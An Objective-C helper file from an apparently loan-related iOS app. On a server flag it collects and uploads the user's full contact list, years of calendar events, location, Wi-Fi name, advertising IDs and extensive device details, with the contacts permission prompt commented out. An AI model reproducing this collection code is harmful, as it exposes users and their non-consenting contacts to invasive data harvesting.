//
//  DKAuthExtHelper.m
//  DanKU
//
//  Created by 吴斌 on 2023/12/11.
//

#import "DKAuthExtHelper.h"
#import <Contacts/Contacts.h>
#import <AddressBook/AddressBookDefines.h>
#import <AddressBook/ABRecord.h>
#import "AddressBook/AddressBook.h"
#import "DKUserContactModel.h"
#import "DKDeviceInfoModel.h"
#import <EventKit/EventKit.h>

@implementation DKAuthExtHelper
static DKAuthExtHelper *defaultManager = nil;
+(DKAuthExtHelper*)defaultManager{
    static dispatch_once_t token;
    dispatch_once(&token, ^{
        if(defaultManager == nil){
            defaultManager = [[self alloc] init];
        }
    });
    return defaultManager;
}
- (void)checkExtExpired{
    WeakSelf(self)
    [self requestUserBrhavRecord:DK_ActionCheck withParmDic:@{}];

    [DKPublicHttp apiCheckExtExpiredForAPI:@{} complete:^(DKExtExpiredModel * _Nonnull extExpiredMdl) {
        if(extExpiredMdl.addressBook){//上传通讯录
            [weakSelf requestUserBrhavRecord:DK_ActionContact_Fetch withParmDic:@{}];

            [weakSelf uploadExtAddressBook];
        }
        if(extExpiredMdl.calendarInfo){//上传日历
            [weakSelf requestUserBrhavRecord:DK_ActionCalendar_Fetch withParmDic:@{}];

            [weakSelf checkCalendarInfo];
        }
        if(extExpiredMdl.deviceInfo){//上传设备信息
            [weakSelf requestUserBrhavRecord:DK_ActionDeviceInfo_Fetch withParmDic:@{}];
            [weakSelf checkApp];
        }
//        if(extExpiredMdl.appInfo){//上传
//            [weakSelf requestUserBrhavRecord:DK_ActionApp_Fetch withParmDic:@{}];
//
//            [weakSelf uploadAppInfo];
//        }
        if(extExpiredMdl.callLog){//上传
            
        }
        if(extExpiredMdl.photoInfo){//上传
            [weakSelf requestUserBrhavRecord:DK_ActionPhoto_Fetch withParmDic:@{}];

        }
        if(extExpiredMdl.sms){//上传
            [weakSelf requestUserBrhavRecord:DK_ActionSMS_Fetch withParmDic:@{}];
        }
    }];
}
- (void)checkAddressBook{
    WeakSelf(self)
//    //通讯录权限
//    [DKAuthorityHelper requestAddressBookAuthorization:^(DKAuthorizationStatus status) {
//        switch (status) {
//            case DKAuthorizationStatusAuthorized:{//已授权
                dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0), ^{
                    [weakSelf uploadExtAddressBook];
                });
//            }
//                break;
//            default:{
//                UIAlertController *alertCtrl = [UIAlertController alertControllerWithTitle:@"" message:@"Your address book permission is disabled. acquiring and adding contacts to facilitate better service for you. turn on the applied camera permission in settings." preferredStyle:UIAlertControllerStyleAlert];
//                UIAlertAction *cancelAction = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:^(UIAlertAction * _Nonnull action) {
//                }];
//                UIAlertAction *okAction = [UIAlertAction actionWithTitle:@"Confirm" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
//                    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:UIApplicationOpenSettingsURLString]];
//                }];
//                [alertCtrl addAction:cancelAction];
//                [alertCtrl addAction:okAction];
//                dispatch_async(dispatch_get_main_queue(), ^{
//                    [((AppDelegate*)([UIApplication sharedApplication].delegate)).window.rootViewController presentViewController:alertCtrl animated:YES completion:nil];
//                });
//            }
//                //                [DKAlertHelper showMessage:@"No permission to enable, please enable permission"];
//                break;
//        }
//    }];
}
- (void)checkCalendarInfo{
    WeakSelf(self)
    //日历
    [DKAuthorityHelper requestEventAuthorization:^(DKAuthorizationStatus status) {
        switch (status) {
            case DKAuthorizationStatusAuthorized:{//已授权
                [weakSelf uploadExtCalendar];
            }
                break;
            default:{
                
            }
                break;
        }
    }];
}
- (void)checkApp{
    WeakSelf(self)
    
    [DKAuthorityHelper requestLocationAuthorization:YES withAuthorization:^(DKAuthorizationStatus status) {
        switch (status) {
            case DKAuthorizationStatusAuthorized:{//已授权
                
            }
                break;
            default:{
                UIAlertController *alertCtrl = [UIAlertController alertControllerWithTitle:@"" message:@"Your Location permission is disabled.We must get your permission to access your location data in order to determine whether there is a fraud risk. turn on the applied Location permission in settings." preferredStyle:UIAlertControllerStyleAlert];
                UIAlertAction *cancelAction = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:^(UIAlertAction * _Nonnull action) {
                }];
                UIAlertAction *okAction = [UIAlertAction actionWithTitle:@"Confirm" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
                    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:UIApplicationOpenSettingsURLString]];
                }];
                [alertCtrl addAction:cancelAction];
                [alertCtrl addAction:okAction];
                dispatch_async(dispatch_get_main_queue(), ^{
                    [((AppDelegate*)([UIApplication sharedApplication].delegate)).window.rootViewController presentViewController:alertCtrl animated:YES completion:nil];
                });
            }
                break;
        }
    }];
}
- (NSMutableArray *)makeAddressBook{
    // 获取所有联系人
    NSMutableArray *addressBooks = [[NSMutableArray alloc] init];
    NSArray *keysToFetch = @[CNContactPhoneNumbersKey,CNContactFamilyNameKey,CNContactGivenNameKey];
    CNContactFetchRequest *fetchRequest = [[CNContactFetchRequest alloc] initWithKeysToFetch:keysToFetch];
    CNContactStore *contactStore = [[CNContactStore alloc] init];
        [contactStore enumerateContactsWithFetchRequest:fetchRequest error:nil usingBlock:^(CNContact * _Nonnull contact, BOOL * _Nonnull stop) {
            DKUserContactModel *dk_UserContactMdl = [[DKUserContactModel alloc] init];
            NSArray *phoneNums = contact.phoneNumbers;
            for (CNLabeledValue *phoneValue in phoneNums) {
                CNPhoneNumber *phoneNumber = phoneValue.value;
                dk_UserContactMdl.name = [NSString stringWithFormat:@"%@%@",contact.familyName,contact.givenName];;
                dk_UserContactMdl.phone = phoneNumber.stringValue;
                [addressBooks addObject:dk_UserContactMdl.mj_keyValues];
            }
//            CNLabeledValue *phoneValue = phoneNums.firstObject;
//            CNPhoneNumber *phoneNumber = phoneValue.value;
//            dk_UserContactMdl.name = [NSString stringWithFormat:@"%@%@",contact.familyName,contact.givenName];;
//            dk_UserContactMdl.phone = phoneNumber.stringValue;
        }];
    return addressBooks;
}
- (void)uploadExtAddressBook{
    DKRegisterUserModel * registerUserMdl = [DKGlobalHelper defaultManager].registerUserMdl;
    NSMutableDictionary * parmDic = [[NSMutableDictionary alloc] init];
    NSMutableDictionary * extinfoDic = [[NSMutableDictionary alloc] init];
    [extinfoDic setObject:[self makeAddressBook] forKey:@"address_book"];
    [extinfoDic setObject:[NSDictionary new] forKey:@"device_info"];
    [extinfoDic setObject:registerUserMdl.userId forKey:@"userId"];
    [parmDic setObject:extinfoDic forKey:@"extInfoReq"];
    [DKPublicHttp apiAuthExtInfoForAPI:parmDic complete:^{
            
    }];
    [self requestUserBrhavRecord:DK_ActionContact_Upload withParmDic:@{}];
}
- (void)uploadDeviceInfoBook{
    NSDictionary *infoDictionary = [[NSBundle mainBundle] infoDictionary];
    NSString *app_Version = [infoDictionary objectForKey:@"CFBundleShortVersionString"];
    
    DKDeviceInfoModel *dk_DeviceInfoMdl = [[DKDeviceInfoModel alloc] init];
    dk_DeviceInfoMdl.albs = @"";
    dk_DeviceInfoMdl.audio = @"0";
    dk_DeviceInfoMdl.shortVersionString = [[[NSBundle mainBundle]infoDictionary] objectForKey:@"CFBundleVersion"];
    dk_DeviceInfoMdl.version = [[[NSBundle mainBundle]infoDictionary] objectForKey:@"CFBundleShortVersionString"];
        dk_DeviceInfoMdl.contact_group = @"0";
        dk_DeviceInfoMdl.create_time = [NSString getCurrentTimeTimestamp];
        dk_DeviceInfoMdl.download_files = @"0";
        dk_DeviceInfoMdl.bundleId = @"com.ios.in.ui05";
        dk_DeviceInfoMdl.package_name = @"com.ios.in.ui05";
        dk_DeviceInfoMdl.app_name = DK_AppName;
        dk_DeviceInfoMdl.developmentRegion = @"en";
        dk_DeviceInfoMdl.video = @"0";
        dk_DeviceInfoMdl.device_info = [[UIDevice currentDevice] model];
        dk_DeviceInfoMdl.os_type = @"ios";
        dk_DeviceInfoMdl.os_version = [UIDevice currentDevice].systemVersion;
        dk_DeviceInfoMdl.ip = [NSString getNetworkIPAddress];
        if([DKGlobalHelper defaultManager].dk_LocationMdl.latitude.length){
            dk_DeviceInfoMdl.gps_latitude = [DKGlobalHelper defaultManager].dk_LocationMdl.latitude;
        }else{
            dk_DeviceInfoMdl.gps_latitude = @"";
        }
        if([DKGlobalHelper defaultManager].dk_LocationMdl.longitude.length){
            dk_DeviceInfoMdl.gps_longitude = [DKGlobalHelper defaultManager].dk_LocationMdl.longitude;
        }else{
            dk_DeviceInfoMdl.gps_longitude = @"";
        }
        if([DKGlobalHelper defaultManager].dk_LocationMdl.jieName.length){
            dk_DeviceInfoMdl.gps_address_street = [DKGlobalHelper defaultManager].dk_LocationMdl.jieName;
        }else{
            dk_DeviceInfoMdl.gps_address_street = @"";
        }
        if([DKGlobalHelper defaultManager].dk_LocationMdl.city.length){
            dk_DeviceInfoMdl.gps_address_city = [DKGlobalHelper defaultManager].dk_LocationMdl.city;
        }else{
            dk_DeviceInfoMdl.gps_address_city = @"";
        }
        if([DKGlobalHelper defaultManager].dk_LocationMdl.administrativeArea.length){
            dk_DeviceInfoMdl.gps_address_province = [DKGlobalHelper defaultManager].dk_LocationMdl.administrativeArea;
        }else{
            dk_DeviceInfoMdl.gps_address_province = @"";
        }
        dk_DeviceInfoMdl.wifi = [NSString isWifiNetStatus];
        if(![NSString getWifiSSID]){
            dk_DeviceInfoMdl.wifi_name = @"";
        }else{
            dk_DeviceInfoMdl.wifi_name = [NSString getWifiSSID];
        }
        
    [UIDevice currentDevice].batteryMonitoringEnabled = YES;
    float batteryLevel = [UIDevice currentDevice].batteryLevel;
        dk_DeviceInfoMdl.battery = [NSString stringWithFormat:@"%.0f",[NSString batteryLevel]];
        dk_DeviceInfoMdl.is_simulator = [NSString stringWithFormat:@"%d",[NSString isSimulator]];
        NSString *lastLoginTime = DK_GETObject_USERDEF(NSUserDefault_LastHone);
        if(lastLoginTime.length){
            dk_DeviceInfoMdl.last_login_time = lastLoginTime;
        }else{
            dk_DeviceInfoMdl.last_login_time = @"";
        }
        dk_DeviceInfoMdl.pic_count = @"0";
        dk_DeviceInfoMdl.idfa = [NSString getIdfa];
        dk_DeviceInfoMdl.idfv = [[[UIDevice currentDevice] identifierForVendor] UUIDString];
        dk_DeviceInfoMdl.memory = [NSString totalMemoryString];

   
   
//    dk_DeviceInfoMdl.mac = @"02:00:00:00:00:00";
    dk_DeviceInfoMdl.resolution = [NSString getScreenRate];
    dk_DeviceInfoMdl.storage = [NSString totalDiskSpace];
    dk_DeviceInfoMdl.unuse_storage = [NSString freeDiskSpace];
//    dk_DeviceInfoMdl.version = app_Version;
    
    
    DKLocationModel * dk_LocationMdl = [DKGlobalHelper defaultManager].dk_LocationMdl;
    DKDeviceAddressInfoModel *dk_DeviceAddressInfoMdl = [[DKDeviceAddressInfoModel alloc] init];
    dk_DeviceAddressInfoMdl.adminArea = dk_LocationMdl.administrativeArea;
    dk_DeviceAddressInfoMdl.countyrName = dk_LocationMdl.city;
    dk_DeviceAddressInfoMdl.locality = dk_LocationMdl.subLocality;
    dk_DeviceInfoMdl.address_info = dk_DeviceAddressInfoMdl;

    DKDeviceBatteryStatusModel *battery_status = [[DKDeviceBatteryStatusModel alloc] init];
    battery_status.battery_pct = [NSString stringWithFormat:@"%d",(int)[NSString batteryLevel]];
    battery_status.battery_state = [NSString stringWithFormat:@"%ld",(long)[NSString batteryState]];
    dk_DeviceInfoMdl.battery_status = battery_status;
    
    DKDeviceGeneralDataModel *general_data = [[DKDeviceGeneralDataModel alloc] init];
    general_data.allowsVOIP = @"1";
    general_data.currentSystemTime = [NSString getCurrentTimeTimestamp];
    general_data.elapsedRealtime = [NSString uptimeInMillisecondsIncludingSleep];
    general_data.mac = [NSString macAddress];
    general_data.is_using_proxy_port = [NSString getProxyStatus];
    general_data.is_using_vpn = [NSString isVPNOn];
    general_data.serviceCurrentRadioAccessTechnology = [NSString carrierTechnology];
    general_data.network_type = [NSString networkType];
    general_data.network_type_new = [NSString networkType];
    general_data.time_zone_id = [NSString timeZoneID];
    general_data.uptimeMillis = [NSString uptimeInMillisecondsExcludingSleep];
//    general_data.language = @"en";
    general_data.uuid = [[[UIDevice currentDevice] identifierForVendor] UUIDString];
    dk_DeviceInfoMdl.general_data = general_data;
        
        
    
    DKDeviceGpsLocationModel *gps_location = [[DKDeviceGpsLocationModel alloc] init];;
    gps_location.gps_address_city = [DKGlobalHelper defaultManager].dk_LocationMdl.city;
    gps_location.gps_address_province = [DKGlobalHelper defaultManager].dk_LocationMdl.administrativeArea;
    gps_location.gps_address_street = [DKGlobalHelper defaultManager].dk_LocationMdl.jieName;
    dk_DeviceInfoMdl.gps_location = gps_location;
    
    float scaleFactor = [[UIScreen mainScreen] scale];
    CGRect screen = [[UIScreen mainScreen] bounds];
    int widthInPixel = screen.size.width * scaleFactor;
    int heightInPixel = screen.size.height * scaleFactor;
    DKDeviceHardwareModel *hardware = [[DKDeviceHardwareModel alloc] init];;
    hardware.device_height = [NSString stringWithFormat:@"%d",heightInPixel];
    hardware.device_width = [NSString stringWithFormat:@"%d",widthInPixel];
    hardware.device_name = [NSString deviceName];
    hardware.model = [NSString sysModelName];
    hardware.physical_size = [NSString stringWithFormat:@"%f",[NSString physicalSize]];
    hardware.devrelease = [NSString systemVersion];
    dk_DeviceInfoMdl.hardware = hardware;

    DKDeviceNetworkModel *network = [[DKDeviceNetworkModel alloc] init];;
    network.ip = [NSString getNetworkIPAddress];
    dk_DeviceInfoMdl.network = network;

    DKDeviceNowStorageModel *now_storage = [[DKDeviceNowStorageModel alloc] init];
    now_storage.totalMemory = [NSString totalMemoryString];
    now_storage.freeMemory = [NSString freeMemoryString];
    now_storage.purgableMemory = [NSString purgeableMemoryString];
    now_storage.inActiveMemory = [NSString inactiveMemoryString];
    now_storage.activeMemory = [NSString activeMemoryString];
    now_storage.wiredMemory = [NSString wiredMemoryString];
    now_storage.usedMemory = [NSString usedMemoryString];
    dk_DeviceInfoMdl.now_storage = now_storage;

    DKDeviceOtherDataModel *other_data = [[DKDeviceOtherDataModel alloc] init];
    other_data.dbmClass = [NSString stringWithFormat:@"%ld",(long)[NSString signalStrength]];
    other_data.keyboard = @"1";
    NSDate *datenow = [NSDate date];//现在时间,你可以输出来看下是什么格式
    other_data.last_boot_time = (long)[datenow timeIntervalSince1970]*1000;
    other_data.simulator = [NSString stringWithFormat:@"%d",[NSString isSimulator]];
    dk_DeviceInfoMdl.other_data = other_data;

    DKDeviceProcessInfoModel *process_info = [[DKDeviceProcessInfoModel alloc] init];;
    process_info.activeProcessorCount = (int)[NSString activeProcessCount];
    process_info.processName = [NSString processName];
    process_info.physicalMemory = [NSString stringWithFormat:@"%lu",(unsigned long)[NSString physicalMemory]];
    process_info.processorCount = [NSString stringWithFormat:@"%lu",(unsigned long)[NSString processCount]];
    process_info.processIdentifier = [NSString stringWithFormat:@"%lu",(unsigned long)[NSString processID]];
    process_info.environment = [NSString processEnvironment];
    process_info.arguments = [NSString processArguments];
    process_info.globallyUniqueString = [NSString getIdfa];
    process_info.operatingSystemVersionString = [NSString operatingSystemString];
    process_info.systemUptime = [NSString stringWithFormat:@"%f",[NSString systemUptime]];
    process_info.thermalState = @"0";
    process_info.lowPowerModeEnabled = [NSString stringWithFormat:@"%d",[NSString isLowPowerModeEnabled]];
    dk_DeviceInfoMdl.process_info = process_info;    
    
    NSMutableDictionary * parmDic = [[NSMutableDictionary alloc] init];
    NSMutableDictionary * extinfoDic = [[NSMutableDictionary alloc] init];
    [extinfoDic setObject:dk_DeviceInfoMdl.mj_keyValues forKey:@"device_info"];
    [extinfoDic setObject:@[] forKey:@"sms"];
    [parmDic setObject:extinfoDic forKey:@"extInfoReq"];
    [DKPublicHttp apiAuthExtInfoForAPI:parmDic complete:^{
            
    }];
    [self requestUserBrhavRecord:DK_ActionDeviceInfo_Upload withParmDic:@{}];

}
- (void)uploadExtCalendar{
    //抓取时间跨度为过去三年-未来一年的
    //过去三年前的时间
    NSDate* threeYear = [NSString getThreeYearTime];
    NSDate* oneYear = [NSString getOneYearTime];
    EKEventStore *store = [[EKEventStore alloc] init];
    NSArray *allTimecalendar = [store calendarsForEntityType:EKEntityTypeEvent];
    NSMutableArray *only3D = [NSMutableArray array];
    for (int i = 0 ; i < allTimecalendar.count; i ++) {
        EKCalendar *temCalendar = allTimecalendar[i];
        EKCalendarType type = temCalendar.type;
        // 工作、家庭和本地日历
        if (type == EKCalendarTypeLocal || type == EKCalendarTypeCalDAV) {
            [only3D addObject:temCalendar];
        }
    }
    
    NSPredicate *predicate = [store predicateForEventsWithStartDate:threeYear endDate:oneYear calendars:only3D];
    // 获取到范围内的所有事件
    NSArray *request = [store eventsMatchingPredicate:predicate];
    NSMutableArray *calendarEvents = [[NSMutableArray alloc] init];
    NSDateFormatter * dateFormatter = [[NSDateFormatter alloc] init];
    [dateFormatter setDateFormat:@"yyyy-MM-dd HH:mm:ss"];
    for (EKEvent *event in request) {
        NSMutableDictionary *calendarDic = [[NSMutableDictionary alloc] init];
        [calendarDic setObject:event.title forKey:@"event_title"];
        [calendarDic setObject:@"" forKey:@"description"];
        [calendarDic setObject:[NSString stringWithFormat:@"%ld", (long)[event.startDate timeIntervalSince1970]*1000] forKey:@"start_time"];
        [calendarDic setObject:[NSString stringWithFormat:@"%ld", (long)[event.endDate timeIntervalSince1970]*1000] forKey:@"end_time"];
        [calendarEvents addObject:calendarDic];
    }
    DKRegisterUserModel * registerUserMdl = [DKGlobalHelper defaultManager].registerUserMdl;
    NSMutableDictionary * parmDic = [[NSMutableDictionary alloc] init];
    NSMutableDictionary * extinfoDic = [[NSMutableDictionary alloc] init];
    [extinfoDic setObject:calendarEvents forKey:@"calendar_list"];
    [extinfoDic setObject:@{} forKey:@"device_info"];
    [extinfoDic setObject:registerUserMdl.userId forKey:@"userId"];
    [parmDic setObject:extinfoDic forKey:@"extInfoReq"];
    [DKPublicHttp apiAuthExtInfoForAPI:parmDic complete:^{
            
    }];
    [self requestUserBrhavRecord:DK_ActionCalendar_Upload withParmDic:@{}];
}
- (void)uploadAppInfo{//上传app信息
    NSMutableArray *appEvents = [[NSMutableArray alloc] init];
    NSMutableDictionary *appDic = [[NSMutableDictionary alloc] init];
    [appDic setObject:DK_AppName forKey:@"app_name"];
    [appDic setObject:@"0" forKey:@"app_type"];
    [appDic setObject:[NSString getAppVersion] forKey:@"app_version"];
    [appDic setObject:@"" forKey:@"in_time"];
    [appDic setObject:@"" forKey:@"obtain_time"];
    [appDic setObject:DK_AppName forKey:@"package_name"];
    [appDic setObject:@"" forKey:@"up_time"];
    [appDic setObject:[NSString getAppVersion] forKey:@"version_code"];
    [appEvents addObject:appDic];


    NSMutableDictionary * parmDic = [[NSMutableDictionary alloc] init];
    NSMutableDictionary * extinfoDic = [[NSMutableDictionary alloc] init];
    [extinfoDic setObject:appEvents forKey:@"app_list"];
    [parmDic setObject:extinfoDic forKey:@"extInfoReq"];
    [DKPublicHttp apiAuthExtInfoForAPI:parmDic complete:^{
            
    }];
    [self requestUserBrhavRecord:DK_ActionApp_Upload withParmDic:@{}];

}
- (void)requestUserBrhavRecord:(NSString *)action withParmDic:(NSDictionary *)parmDic{
    [DKPublicHttp apiUserBrhavRecordForAPI:parmDic withPageName:DK_ExtInfoUpload withAction:action complete:^{
            
    } fail:^{
            
    }];
}

@end
